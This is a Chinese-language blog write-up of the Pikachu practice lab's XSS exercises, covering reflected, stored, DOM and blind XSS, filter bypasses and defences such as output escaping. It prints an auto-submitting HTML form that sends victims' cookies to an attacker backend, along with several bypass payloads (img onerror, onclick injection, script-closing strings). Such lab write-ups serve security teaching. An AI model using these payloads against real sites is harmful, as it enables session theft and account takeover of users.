pikachu靶场&XSS(二)

XSS

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS(跨站脚本漏洞)。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

反射型 XSS(get)

在这里插入图片描述
在这里插入图片描述

反射型 XSS(post)

在这里插入图片描述

  • xss(get)漏洞利用的方式不可用
  • 利用:我们构造一个表单,让有漏洞网站post提交,然后诱导用户点击这个链接(http://pikachu-master:8890/pkxss/xcookie/post.html)
<html>
<!--访问这个页面会获取用户的信息,转发给攻击者xss后台-->
	<head>
		<script>
			window.onload = function() {
	  		document.getElementById("postsubmit").click();
			}
		</script>
	</head>
	<body>
		<form method="post" action="http://pikachu-master:8890/vul/xss/xsspost/xss_reflected_post.php"><!--有漏洞的网站-->
		    <input id="xssr_in" type="text" name="message" value=
			    "<script>
					document.location = 'http://pikachu-master:8890/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
				</script>"
				<!--攻击者XSS后台-->
			 />
		    <input id="postsubmit" type="submit" name="submit" value="submit" />
		</form>
	</body>
</html>

*用户点击后,我们就可以在后台看到cookie
在这里插入图片描述

在这里插入图片描述

存储型 XSS

在这里插入图片描述

DOM型 XSS

DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。

  • 输入sss,提交后出现超链接“what do you see?”,点击出现页面错误
    在这里插入图片描述
    在这里插入图片描述
  • 查看网页源码发现。输入被写进了超链接里,采用 onclick来构造输入(’ οnclick=“alert(‘5550’)” ),前面单引号闭合href超链接
    在这里插入图片描述
  • 输入后点击“what do you see?”,出现xss
    在这里插入图片描述

DOM 型 XSS-X

在这里插入图片描述
在这里插入图片描述

  • 发现使用dom来处理,测试 ’ οnclick="alert(‘5550’)
    在这里插入图片描述

XSS盲打

什么是xss盲打?引用

盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,feedback啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打。

“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。

通俗讲就是见到输入框就输入提前准备的xss代码, 通常是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息 。
在这里插入图片描述

  • 后台出现弹窗,后台路径 http://pikachu-master:8890/vul/xss/xssblind/admin_login.php#
    在这里插入图片描述

XSS过滤

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 另外<img src=x onerror = "alert('xss')">也可以绕过
  • 由于是过滤多次,这种 <scr<scriptipt>alert('555')</sc<scriptript>不行
  • 观察网页源码,这种</p><a href='' onclick="alert('5550')">aa<a><p>也行
    在这里插入图片描述

正则表达式说明

XSS之htmlspecialchars

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • htmlspecialchars() 函数
    在这里插入图片描述

在这里插入图片描述

XSS之href输出

借鉴

  • 总的原则:输入做过滤,输出做转义
  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
  • 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行js转义
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

在a标签里的 href作输出 的时候,到底改怎样防范呢???
如果仅仅是使用htmlspecialchars做处理是不行的,有两个步骤:

  • 因为href一般是用来写超链接的,所以 我们可以在输入的时候仅仅 只允许http,https开头的协议,否则不允许输入。
  • 其次在进行htmlspecialchars处理。

XSS之js输出

借鉴
在这里插入图片描述

输入动态的生成到了js中,形成xss,由于javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转。
这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
所以在JS的输出点应该使用\对特殊字符进行转义

构造闭合,把原本的<script>闭合掉,再插入我们自己的<script>
'</script><script>alert('xss')</script>

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值